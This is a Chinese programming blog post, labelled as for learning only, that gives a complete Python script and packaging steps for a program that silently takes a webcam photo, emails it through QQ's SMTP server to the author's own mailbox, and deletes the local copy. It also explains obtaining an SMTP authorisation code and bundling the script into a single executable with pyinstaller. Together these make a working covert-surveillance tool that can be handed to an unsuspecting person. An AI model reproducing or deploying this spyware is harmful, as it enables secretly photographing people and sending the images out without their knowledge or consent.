网站首页 > 技术文章 正文
仅用来学习,希望给你们有提供到学习上的作用。
1.安装库
需要安装python3.5以上版本,在官网下载即可。然后安装库opencv-python,安装方式为打开终端输入命令行。
私信小编01即可获取大量python学习资源
2.更改收件人和发件人为自己邮箱,更改授权码
获取授权码的方法:
- 点击设置
- 点击账户
- 开启pop3/smtp服务
- 验证密保
- 获取到16位授权码
第一步:
第二步:
第三步:
第四、五步:
3.编译成可执行文件
打包方法:
- 先安装pyinstaller,在终端中输入pip install pyinstaller。
- 找路径,用cd法找路径比较麻烦,可以直接在路径框里面输入cmd进入终端即可,进入了就是目标路径。
打包,输入命令行
pyinstaller --console --onefile 7.py //这里打包的是一个叫7.py的文件
在dist文件夹里面即可找到可执行文件。
4.源码与注释
import os # 删除图片文件
import cv2 # 调用摄像头拍摄照片
from smtplib import SMTP_SSL # SSL加密的 传输协议
from email.mime.text import MIMEText # 构建邮件文本
from email.mime.multipart import MIMEMultipart # 构建邮件体
from email.header import Header # 发送内容
# 调用摄像头拍摄照片
def get_photo():
cap = cv2.VideoCapture(0) # 开启摄像头
f, frame = cap.read() # 将摄像头中的一帧图片数据保存
cv2.imwrite('image.jpg', frame) # 将图片保存为本地文件
cap.release() # 关闭摄像头
# 把图片文件发送到我的邮箱
def send_message():
# 选择QQ邮箱发送照片
host_server = 'smtp.qq.com' # QQ邮箱smtp服务器
pwd = '****************' # 授权码
from_qq_mail = 'QQ@qq.com' # 发件人
to_qq_mail = 'QQ@qq.com' # 收件人
msg = MIMEMultipart() # 创建一封带附件的邮件
msg['Subject'] = Header('摄像头照片', 'UTF-8') # 消息主题
msg['From'] = from_qq_mail # 发件人
msg['To'] = Header("YH", 'UTF-8') # 收件人
msg.attach(MIMEText("照片", 'html', 'UTF-8')) # 添加邮件文本信息
# 加载附件到邮箱中 SSL 方式 加密
image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
image["Content-Type"] = 'image/jpeg' # 附件格式为图片的加密数据
msg.attach(image) # 附件添加
# 开始发送邮件
smtp = SMTP_SSL(host_server) # 链接服务器
smtp .login(from_qq_mail, pwd) # 登录邮箱
smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # 发送邮箱
smtp.quit() # 退出
if __name__ == '__main__':
get_photo() # 开启摄像头获取照片
send_message() # 发送照片
os.remove('image.jpg') # 删除本地照片
5.效果如下
最后实验一下,会得到一个bin后缀的附件,把他改成jpg即可查看。
猜你喜欢
- 2025-03-20 Python趣味打怪:60秒学会一个例子,147段代码助你从入门到大师
- 2025-03-20 基于深度学习的中文车牌识别与管理系统(含UI界面,Python代码)
- 2025-03-20 Python搭建UDP网络通信模型,看了你也会
- 2025-03-20 Python学习——018一键发送Excel工资条
- 2025-03-20 风变编程-python基础语法-第17关用python发邮件
- 2025-03-20 Python实现机器学习算法——贝叶斯网络
- 2025-03-20 Python 基础教程十五之 Python 使用requests库发送http请求
- 2025-03-20 国外友人开创Python模拟登陆神库,完美修改它为咱们所用
- 2025-03-20 全新上线!免费体验最热门Claude2API接口Python版本整合QQ
- 2025-03-20 使用 Python 自动发送 QQ 消息(python自动发送邮件)
- 258℃Python短文,Python中的嵌套条件语句(六)
- 258℃python笔记:for循环嵌套。end=""的作用,图形打印
- 257℃PythonNet:实现Python与.Net代码相互调用!
- 252℃Python操作Sqlserver数据库(多库同时异步执行:增删改查)
- 251℃Python实现字符串小写转大写并写入文件
- 107℃原来2025是完美的平方年,一起探索六种平方的算吧
- 91℃Python 和 JavaScript 终于联姻了!PythonMonkey 要火?
- 83℃Ollama v0.4.5-v0.4.7 更新集合:Ollama Python 库改进、新模型支持
- 最近发表
- 标签列表
-
- python中类 (31)
- python 迭代 (34)
- python 小写 (35)
- python怎么输出 (33)
- python 日志 (35)
- python语音 (31)
- python 工程师 (34)
- python3 安装 (31)
- python音乐 (31)
- 安卓 python (32)
- python 小游戏 (32)
- python 安卓 (31)
- python聚类 (34)
- python向量 (31)
- python大全 (31)
- python次方 (33)
- python桌面 (32)
- python总结 (34)
- python浏览器 (32)
- python 请求 (32)
- python 前端 (32)
- python验证码 (33)
- python 题目 (32)
- python 文件写 (33)
- python中的用法 (32)